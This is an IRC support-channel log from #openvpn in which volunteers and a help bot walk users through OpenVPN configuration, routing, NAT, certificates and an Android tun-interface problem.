15:44 < ShiraDJ> so replace remote with??
15:44 < pekster> Nothing. Perhaps you need to follow the howto you were linked more carefully
15:46 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:48 < ShiraDJ> yes but my english is not the best, i have make them after a tutorial
15:49 -!- Varazir [~mircwars@c-94-255-133-56.cust.bredband2.com] has quit [Quit: bbl updating host]
15:50 < ShiraDJ> i will read the hotto again step by step
15:50 < ShiraDJ> *howto
15:53 -!- tcamuso [~tcamuso@pool-64-222-176-233.man.east.myfairpoint.net] has joined #openvpn
15:54 -!- kirin` [telex@gateway/shell/anapnea.net/x-oaqlcxokidvmlcxv] has quit [Ping timeout: 246 seconds]
15:59 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
16:03 < pekster> ShiraDJ: The sample configs do not use the --remote directive on the server. Using it tells openvpn to establish a connect to an external openvpn instance. Your server does not make any connections: it listens for them. Your client is what uses --remote, not the server
16:03 < pekster> establish a connection*
16:04 -!- kirin` [telex@gateway/shell/anapnea.net/x-grihensysgvtnilv] has joined #openvpn
16:08 -!- A2tec [~Aztec@fightclub.de] has quit [Quit: 'x.x']
16:09 -!- kirin` [telex@gateway/shell/anapnea.net/x-grihensysgvtnilv] has quit [Ping timeout: 255 seconds]
16:09 -!- ThiefMaster [thief@unaffiliated/thiefmaster] has joined #openvpn
16:09 < ThiefMaster> Options error: --tun-ipv6 cannot be used with --mode server
16:09 < ThiefMaster> ^ what's the reason for this?
16:10 -!- kirin` [telex@gateway/shell/anapnea.net/x-gylkbkkbfryxcvwg] has joined #openvpn
16:13 < pekster> ThiefMaster: What version are you using? That error has been removed from the latest release
16:13 < ThiefMaster> 2.2 (which is the "stable" version on gentoo)
16:13 < ThiefMaster> but i could switch to 2.3
16:14 < pekster> 2.3.1 is the latest upstream stable
16:14 < pekster> fwiw, I've been running the ~2.3.0 on Gentoo fine without issue
16:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-gylkbkkbfryxcvwg] has quit [Ping timeout: 256 seconds]
16:17 -!- kirin` [telex@gateway/shell/anapnea.net/x-pissgdzjwezlypeq] has joined #openvpn
16:18 < pekster> 2.2.x doesn't support ipv6 either, unless you've manually patched Gentoo's 2.2.2 release yourself
16:19 < ThiefMaster> ok, switched to 2.3
16:19 < ThiefMaster> can i safely make openvpn use public ips for clients? for ipv4 i'm doing nat but for ipv6 i have way enough public ips available
16:20 < pekster> Sure, you can use any network availalbe to you
16:23 -!- kirin` [telex@gateway/shell/anapnea.net/x-pissgdzjwezlypeq] has quit [Ping timeout: 272 seconds]
16:24 -!- kirin` [telex@gateway/shell/anapnea.net/x-smnapojnskyqbeiv] has joined #openvpn
16:26 < ThiefMaster> i'm going to use 2a01:4f8:xx:yy:z::1/80 for clients - what would i use as the second argument to ifconfig-ipv6? i don't completely understand the docs of that argument
16:29 < pekster> usually just $net_prefix::2
16:29 < pekster> It's just the 2nd argument to create a peering address with, just like using --ifconfig in p2p mode
16:29 -!- kirin` [telex@gateway/shell/anapnea.net/x-smnapojnskyqbeiv] has quit [Ping timeout: 246 seconds]
16:31 -!- brute11k [~brute@89.249.230.181] has quit [Quit: Leaving.]
16:31 -!- kirin` [telex@gateway/shell/anapnea.net/x-rvcrfdblvtjbfcxz] has joined #openvpn
16:34 < ThiefMaster> ah... server-ipv6 looks much better anyway. looks like everything works now :)
16:34 < pekster> That siad, using a /112 is generally fine; OpenVPN can't really handle more clients than your IPv4 subnet allows, so ~64k clients ought to be enough :)
16:35 < ThiefMaster> it won't be more than 1 or 2 clients anyway
16:35 < pekster> Sure. Then again, IPv6 is large enough nothing is wrong with using a /80 either
16:36 < pekster> The pool works by not handing out addresses smaller than the listed IP, and using the remaining upper-segment for client allocation
16:37 -!- kirin` [telex@gateway/shell/anapnea.net/x-rvcrfdblvtjbfcxz] has quit [Ping timeout: 272 seconds]
16:37 < pekster> So, 2001:db8::123/80 would start numbering at 2001:db8::123 and theoretically assign through 2001:db8::FFFF:FFFF:FFFF
16:37 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
16:37 -!- mode/#openvpn [+v s7r] by ChanServ
16:38 -!- kirin` [telex@gateway/shell/anapnea.net/x-qkzibkxtwwmzcwuu] has joined #openvpn
16:38 < pekster> Not that you can realistically expect that to work, but I did say theoretical ;)
16:42 -!- Toes_ [~Toes@unaffiliated/toes/x-000000001] has quit [Read error: Connection reset by peer]
16:43 -!- Toes_ [~Toes@unaffiliated/toes/x-000000001] has joined #openvpn
16:43 -!- kirin` [telex@gateway/shell/anapnea.net/x-qkzibkxtwwmzcwuu] has quit [Ping timeout: 246 seconds]
16:45 -!- Varazir [~mircwars@c-94-255-133-221.cust.bredband2.com] has joined #openvpn
16:45 -!- kirin` [telex@gateway/shell/anapnea.net/x-otypfvietwdytasn] has joined #openvpn
16:46 < jzaw> ThiefMaster, ping
16:46 < jzaw> <ThiefMaster> can i safely make openvpn use public ips for clients? for ipv4 i'm doing nat but for ipv6 i have way enough public ips available
16:46 < jzaw> im doing exactly that!
16:47 < jzaw> svn trunk compile
16:48 < jzaw> infact im only sending vpn lan traffic down the tunnel split routing allows me to send all other ipv4 out of the nat
16:48 < jzaw> when the tunnel is off
16:48 < jzaw> its all natted
16:48 <@krzee> =]
16:48 < jzaw> and of course who cares what youve got behind the nat ... in this case non rfc1918 ips
16:48 < jzaw> ie public
16:49 < ThiefMaster> i'm doing it mostly to avoid sending out data over the air unencrypted when connected to public wifi
16:49  * jzaw nods
16:49 < ThiefMaster> because hey, a certain large swiss nuclear research organization has pretty decent wifi coverage on their site but everything is unencrypted... yuck!
16:49 < jzaw> hehe
16:50 <@krzee> o.O
16:50 < jzaw> thats the cost of being open
16:50 < ThiefMaster> jzaw: well, it's not really open
16:50 < jzaw> ah eheh
16:50 < ThiefMaster> you need an account and authenticate your device via the mac address to actually use the network
16:50 -!- kirin` [telex@gateway/shell/anapnea.net/x-otypfvietwdytasn] has quit [Ping timeout: 246 seconds]
16:50 <@krzee> mac address filtering, because its so hard to spoof!
16:50 < ThiefMaster> heh yeah
16:50 < jzaw> i was going to say .. so its open really
16:51 -!- kirin` [telex@gateway/shell/anapnea.net/x-dvpbvwmsfrmsqzth] has joined #openvpn
16:57 -!- kirin` [telex@gateway/shell/anapnea.net/x-dvpbvwmsfrmsqzth] has quit [Ping timeout: 256 seconds]
16:58 < KrissO> failed to update database
16:58 < KrissO> TXT_DB error number 2
16:58 < KrissO> :(
16:58 -!- kirin` [telex@gateway/shell/anapnea.net/x-jlitmlxluyfeuopz] has joined #openvpn
16:59 < pekster> KrissO: Usually that's what you get if you try to issue a cert with a duplicate CN
16:59 < pekster> The CN must be unique
17:00 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Read error: Connection reset by peer]
17:00 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
17:00 < KrissO> pekster, yeah that's the part I don't get. i read a guide that said they should be the same (ca, serverkey, clientkeys)
17:01 < pekster> Try the official guide:
17:01 < pekster> !howto
17:01 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
17:02 < pekster> The part about the PKI creation and keypair creation/signing is very specific that CNs must be unique
17:03 < KrissO> ok
17:04 -!- kirin` [telex@gateway/shell/anapnea.net/x-jlitmlxluyfeuopz] has quit [Ping timeout: 256 seconds]
17:05 -!- kirin` [telex@gateway/shell/anapnea.net/x-clahcarnnvnavvxh] has joined #openvpn
17:11 -!- kirin` [telex@gateway/shell/anapnea.net/x-clahcarnnvnavvxh] has quit [Ping timeout: 260 seconds]
17:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-ypicpzpewdfsacbo] has joined #openvpn
17:18 -!- kirin` [telex@gateway/shell/anapnea.net/x-ypicpzpewdfsacbo] has quit [Ping timeout: 256 seconds]
17:19 -!- kirin` [telex@gateway/shell/anapnea.net/x-emvrpfdwvhfpoabh] has joined #openvpn
17:22 -!- kirin` [telex@gateway/shell/anapnea.net/x-emvrpfdwvhfpoabh] has quit [Read error: Connection reset by peer]
17:23 -!- kirin` [telex@gateway/shell/anapnea.net/x-gqcpyoadpptnhten] has joined #openvpn
17:26 -!- ade_b [~Ade@koln-4d0b1b2a.pool.mediaWays.net] has joined #openvpn
17:26 -!- ade_b [~Ade@koln-4d0b1b2a.pool.mediaWays.net] has quit [Changing host]
17:26 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
17:33 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
17:35 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
17:48 -!- ade_b [~Ade@kickstartconsultancy.com] has joined #openvpn
17:48 -!- ade_b [~Ade@kickstartconsultancy.com] has quit [Changing host]
17:48 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
18:08 < rob0> The one thing they all have in common is that they are all signed by the CA.
18:12 < KrissO> k
18:12 -!- Orbi [~opera@anon-149-17.vpn.ipredator.se] has joined #openvpn
18:13 -!- ThiefMaster [thief@unaffiliated/thiefmaster] has quit [Remote host closed the connection]
18:23 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
18:31 < KrissO> hm I can't browse via the VPN again, I get 3G ip. http://pastebin.com/UXaGJ5Hb http://pastebin.com/UaRiKUsL
18:31 < KrissO> what did I forget?
18:32 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
18:33 < KrissO> !welcome
18:33 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:33 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:33 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 272 seconds]
18:34 < KrissO> !route
18:34 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
18:34 <@vpnHelper> behind the server or client
18:34 < KrissO> !redirect
18:34 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:34 <@vpnHelper> http://ircpimps.org/redirect.png
18:34 < KrissO> !ipforward
18:34 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
18:34 < KrissO> !linipforward
18:34 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
18:37 < KrissO> !def1
18:38 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
18:38 -!- u0m3_ [~Radu@92.80.108.22] has joined #openvpn
18:38 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:38 < KrissO> !man
18:38 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
18:38 -!- u0m3 [~Radu@92.80.78.105] has quit [Ping timeout: 256 seconds]
18:39 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
18:42 < KrissO> !serverlan
18:42 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
18:43 -!- murph [~murph@185.3.135.10] has joined #openvpn
18:43 < KrissO> !route_outside_openvpn
18:43 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
18:44 < murph> So I'm using a router running TomatoUSB as a OpenVPN client. I started a second virtual wireless interface (so i have br0 and br1). When i start OpenVPN br0 routes over the VPN and br1 loses internet connectivity. Is there an option to allow br1 to remain routing over the un-tunneled network?
18:45 <@krzee> murph, why are you bridging?
18:47 < pekster> Clarification required here, since some of the *WRT flavors use bridging for their LANs between the eth and wifi interfaces
18:47 < murph> To combine WL1.1 and "LAN1" into "br1". *shrugs* that's how it sets it up.
18:48 <@krzee> oh i thought you were saying your vpn is also a bridge
18:48 < murph> I think I always have br0 and br1 without the vpn
18:48 -!- blorgh [~bagar@c-ba08e353.029-192-7570701.cust.bredbandsbolaget.se] has joined #openvpn
18:48 <@krzee> pekster has been seeing things way better than i :D
18:50 < pekster> murph, doing any gateway redirection?
18:50 < pekster> ie: --redirect-gateway in openvpn?
18:51 < blorgh> what's the difference between the windows clients found at http://openvpn.net/index.php?option=com_content&id=357 and http://openvpn.net/index.php/open-source/downloads.html ? should I consider either/both of them as official builds?
18:51 <@vpnHelper> Title: Client Packages (at openvpn.net)
18:52 < murph> pekster: I don't think so. Ther'es a checkbox "redirect internet traffic" which is unchecked and sounds similar. "Create NAT on tunnel" is checked.
18:52 < pekster> blorgh: The former is the commercial, closed-source product. That's unsupported here (#openvpn-as handles that) as we work with the open-source GPL project only
18:52 < blorgh> okay thanks
18:52 < murph> Here's the routes it has after everything is started: http://i.imgur.com/F9QS6gC.png
18:53 < pekster> murph: I have no clue what your GUI "checkboxes" do since OpenVPN is a command-line program with a flag config file
18:53 < murph> Yeah, I'm trying to figure out the exact mapping
18:53 < pekster> Why don't you create your config and call openvpn directly from the command line on a shell? If that works, you know your frontend is don't something silly/wrong
18:54 < rob0> s/don't/doing/
18:54 < murph> Okay, ssh'd in and found it's config. No, it's not doing that.
18:56 < pekster> Sounds like your OS is doing strange things with your routing table after openvpn comes up then, if one if your LAN interfaces looses connectivity
18:56 < murph> http://pastebin.ca/2345896 <-- here's the openVPN config
18:56 < murph> ah ok
18:57 < pekster> Do your 2 LAN interfaces get routed differently? It sure sounds like it if only *one* of your 2 LAN interfaces looses access
18:57 < pekster> Stated another way, is policy routing in effect?
18:57 < pekster> Also, what does updown.sh do?
18:58 < pekster> The post-connect script could be making any number of changes to your system after connect
18:59 -!- Orbi [~opera@anon-149-17.vpn.ipredator.se] has quit [Ping timeout: 252 seconds]
19:00 < murph> Looks like it's setting up iptables, that might be where the issue is
19:00  * murph goes to figure that out, sec
19:00 < murph> routing is hard stuff when you're not good at it.
19:01 < pekster> This is part of the reason I manage it myself instead of letting some magic frontend do it all for me
19:02 < murph> Yeah, I'm slowly working towards being able to setup the routing myself
19:02 < pekster> If your VPN works when you comment out those 2 lines, then you know it's something the scripts are doing
19:02 < murph> Do you know iptables, then? http://pastebin.ca/2345898 I'm guessing that the POSTROUTING line needs to be duplicated for 192.168.2.0 (the subnet of the second one)
19:02 < pekster> For testing, you might as well also set 'verb 3' and just call openvpn from the command line to avoid the initscript getting in the way. If you also comment out the "daemon" line, you'll get log output to your terminal
19:02 < murph> ah, i'll try that
19:04 < murph> brb
19:04 < pekster> So that series of commands appears to be openign the firewall for forwarded traffic and doing outbound NAT (SNAT) from the listed network
19:04 < murph> ah
19:04 < murph> hrm
19:04 < pekster> Adding the 2nd network might make it all magically work. Why your routing gets changed without --redirect-gateway I couldn't say, unless that updown.sh does more magic
19:07 < murph> actually brb this time
19:07 -!- murph [~murph@185.3.135.10] has left #openvpn ["Leaving"]
19:10 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
19:14 -!- murph [~murph@185.3.135.10] has joined #openvpn
19:15 < murph> yeah, i disabled the voodo 'automatic' firewall settings and set them up like that but with the second POSTROUTING line and it seems to route both over the tunnel
19:15  * murph at least understands where things are now
19:15 < murph> thanks a whole bunch, pekster
19:20 < KrissO> krzee, still up? =)
19:21 <@krzee> yep
19:25 < KrissO> was smart enough to mix up my working config files, mind having a look? --> http://pastebin.com/UXaGJ5Hb http://pastebin.com/UaRiKUsL
19:26 < KrissO> (vpn is connected and internet through 3g)
19:27 <@krzee> on your client you have a few server only options
19:27 <@krzee> such as lines: 5,6,14
19:27 <@krzee> you can't push to a server
19:28 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
19:30 < KrissO> ah. i'll move those then
19:31 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
19:49 < KrissO> ah finally
19:50 < KrissO> had to set static routing to "any" instead of "wan" in my router
19:53 < KrissO> !topology
19:53 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
19:55 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
19:58 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
20:20 -!- newbie|2 [~tjz@bb116-14-142-13.singnet.com.sg] has quit [Ping timeout: 240 seconds]
20:21 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
20:24 < me0615> good day sir I have posted a problem here https://forums.openvpn.net/topic12554.html
20:24 <@vpnHelper> Title: OpenVPN Support Forum tap driver not updating ip address : Server Administration (at forums.openvpn.net)
20:25 < me0615> i hope you i can get answer on it thanks
20:27 <@krzee> you say tap driver in the topic
20:27 <@krzee> you're using dev tun, right?
20:27 < me0615> yes i use dev tun.
20:28 <@krzee> !configs
20:28 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
20:28 < me0615> tun/tap driver sir if I may correct it
20:28 < me0615> ok sir I will paste
20:29 <@krzee> no need for "sir" =]
20:31 < me0615> http://pastebin.com/cZMbYRV6 here it is
20:31 <@krzee> and the other side?
20:31 < me0615> server?
20:31 <@krzee> yes
20:32 < me0615> for a while
20:33 -!- hardcode [~hardcode@d54C663D8.access.telenet.be] has quit []
20:34 -!- ShiraDJ [~Shira@dslb-094-223-227-236.pools.arcor-ip.net] has quit [Ping timeout: 256 seconds]
20:34 < me0615> here it is --> http://pastebin.com/zypSKVxe
20:36 < me0615> actually, i this there is no problem with the configs because on my computer desktop and galaxy y, the connection is fine and there is connectivity but with the other mobile galaxy y duos, it still connects but no connectivity.  which leads me to check the tun0 and discovered that is has no ip address set unto it.
20:39 <@krzee> why are you on openvpn 2.1.1
20:39 <@krzee> are you on openvpn ICS or JB?
20:39 <@krzee> err
20:40 <@krzee> android ICS or JB?
20:40 < me0615> i just used the openvpn setting from android market.  Im not sure about ICS or JB.
20:41 < me0615> i was interested on openvpn connect but its not on android market yet.
20:42 <@krzee> sure it is
20:42 <@krzee> what version of android are you running?
20:43 < me0615> 2.3.6
20:45 < me0615> i just searched now "openvpn connect" on android market using my mobile but still not there.
20:50 < me0615> do we have an idea now @krzee why the opened tun0 dont have an assigned ip ?
20:50 < ccherrett> pekster: ok so no more errors and I can ping from the client to the server
20:51 <@krzee> ok you're on gingerbread, thats why you can't use openvpn connect, you're using the right one
20:51 < ccherrett> I have one thing I do not understand, I have a openvpn server and an openvpn client, behind the client is 3 sip phones
20:51 <@krzee> I'm not sure, although I'm sure its related to this:
20:51 <@krzee> Sun Mar 31 08:43:48 2013 Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:16: ifconfig (2.1.1)
20:51 < ccherrett> how do I get the sip phones talking to the server behind the openvpn server?
20:51 < rob0> !clientlan
20:51 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
20:51 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
20:52 < rob0> ccherrett, ^^ start with the flowchart
20:53 < me0615> @krzee both mobile phones that I have are gingerbread and the other one which is samsung galaxy y is working just fine but not on galaxy y duos. i think both have preloaded tun/tap driver
20:53 < ccherrett> rob0: thank you
20:54 -!- mistik1 [~mistik1@unaffiliated/mistik1] has joined #openvpn
20:54 < pekster> You'll also need to see !serverlan after you get the client LAN stuff taken care of
20:54 < rob0> thank krzee also, he made and hosts the chart :)
20:54 < pekster> You need both if you have LANs behind each of your peers
20:55 < ccherrett> pekster: to me right?
20:55 < pekster> Yup
20:55 < ccherrett> !serverlan
20:55 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
20:55 < pekster> Do each of those steps seperatly; work on just one at a time
20:55 < ccherrett> ok so clientlan first
20:55 < ccherrett> thanks
20:56 < ccherrett> !ccd
20:56 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
20:57 < KrissO> server 192.168.7.0 255.255.255.0. by default my server will get an ip of 192.168.7.1. how can i assign one?
20:58 < me0615> guys, I am still waiting for some who can help me answer my problem. hopefully.
20:59 < rob0> KrissO, don't use the "server" macro. Look it up ("--server") in the man page to see what all it does. Do all those things manually, with the --ifconfig you want.
20:59 < KrissO> rob0, ok cheers
21:02 < me0615> krzee, does TUN/TAP device tun0 opened means that my mobile indeed has tun/tap device and driver/
21:02 <@krzee> yes
21:05 < me0615> so "Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:16: ifconfig (2.1.1)" means that it did not find the ifconfig on the system perhaps?
21:05 < me0615> that is why ifconfig was not used to set the ip of the tun0?
21:06 < me0615> like this one supposedly "/system/xbin/bb/ifconfig tun0 50.8.0.2 netmask 255.255.240.0 mtu 1500 broadcast 50.8.15.255
21:06 < me0615> "
21:06 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
21:08 < me0615> krzee how will i know what path of ifconfig does openvpn uses for ifconfig to run it?
21:10 <@krzee> configurable in openvpn-installer
21:10 <@krzee> when you installed openvpn
21:10 < me0615> but what about my case wherein i just used openvpn setting for android?
21:10 <@krzee> how did you install openvpn?
21:11 < me0615> direct from android market
21:12 < pekster> Generally there's an OS-standard symlink in typical locations for common programs like ifconfig, or it'll be build where your platform expects it (in the case of android or other embedded systems)
21:12 < pekster> built*
21:13 <@krzee> me0615, i mean how did you install the openvpn binary, if not with openvpn-installer from market
21:13 < rob0> it should be in $PATH for root, wherever it might actually sit
21:13 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
21:16 < me0615> krzee, after the openvpn installer was downloaded, i just click install button and it ask for target directory w/c i chose /system/xbin and choose how openvpn will call ifconfig/route to /system/xbin/bb/ifconfig
21:16 <@krzee> [22:10]  <krzee> configurable in openvpn-installer
21:16 <@krzee> [22:10]  <krzee> when you installed openvpn
21:16 <@krzee> [22:10]  <me0615> but what about my case wherein i just used openvpn setting for android?
21:17 < me0615> krzee that is what you mean there?
21:17 <@krzee> thats where you are able to decide how it calls ifconfig
21:17 <@krzee> but that error is not saying that it can not execute ifconfig
21:18 <@krzee> for some reason its acting like your openvpn doesn't know --ifconfig
21:18 <@krzee> or like it can't be pushed
21:18 < me0615> yes
21:18 <@krzee> neither of which sound right to me
21:18 <@krzee> but im doing 100 things right now
21:18 <@krzee> so I'm not going to be able to google it like i otherwise would
21:18 <@krzee> http://code.google.com/p/android-openvpn-settings/issues/detail?id=26
21:18 <@vpnHelper> Title: Issue 26 - android-openvpn-settings - Unrecognized Command or missing parameter - Manage OpenVPN on rooted android phones. - Google Project Hosting (at code.google.com)
21:19 <@krzee> there you go
21:19 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:19 <@krzee> googled it, but you'll have to do the rest =]
21:19 < rob0> Lies! He can't be doing more than 99 things.
21:19 <@krzee> thats true, but I'm trying to!
21:19 < me0615> reading......
21:20 < rob0> Just think, krzee, it's 4:20 somewhere. (Eastern or Central Europe?)
21:21 < me0615> krzee, thanks for the reading but can you further assist me how to uncompressed and push in /system/xbin/ and make symbolic link. :(
21:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Client Quit]
21:23 <@krzee> can't, but plenty of people here understand unix well enough to help with it
21:24 < me0615> thanks krzee.
21:24 <@krzee> yw
21:24 < me0615> guys, krzee is busy, can I ask you're assistance on what krzee assisted me awhile ago. I am a user in windows so I have no knowledge in linux.
21:25 -!- krzee [~k@openvpn/community/support/krzee] has left #openvpn ["Leaving"]
21:30 -!- fluter [~fluter@fedora/fluter] has quit [Remote host closed the connection]
21:30 < ccherrett> pekster: if I am configuring the client ccd on the server that is considered the serverlan?
21:30 < ccherrett> !serverlan
21:30 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
21:31 < pekster> ccherrett: You need an iroute in the ccd to expose the client-side LAN
21:31 < ccherrett> !route_outside_openvpn
21:31 < KrissO> rob0meh, enough for today
21:31 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
21:31 < ccherrett> pekster: that is done
21:31 < ccherrett> pekster: the ccd directory is in server.conf
21:31 < ccherrett> iroute is in that ccd dire client common name file
21:32 < pekster> exposing a server-side LAN does not require any changes in ccd. But yes, the ccd file is where iroute statements go for the client LANs
21:33 < ccherrett> pekster: ok so I think that is all correct
21:33 < ccherrett> pekster: so next make sure the openvpn client has a route to it's default gateway?
21:34 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
21:34 < ccherrett> ah hold on
21:34 < ccherrett> read that wrong
21:35 < ccherrett> the server needs route in the gateway but only if it is not the gateway
21:35 < ccherrett> but it is the gateway so that step does not need to happen
21:36 < ccherrett> !ipforward
21:36 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
21:38 < mistik1> !linipforward
21:38 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
21:40 -!- tcamuso [~tcamuso@pool-64-222-176-233.man.east.myfairpoint.net] has quit [Ping timeout: 252 seconds]
21:41 < KrissO> !static
21:41 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
21:41 < KrissO> !tuntortap
21:41 < KrissO> !iporder
21:41 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
21:42 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
21:42 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
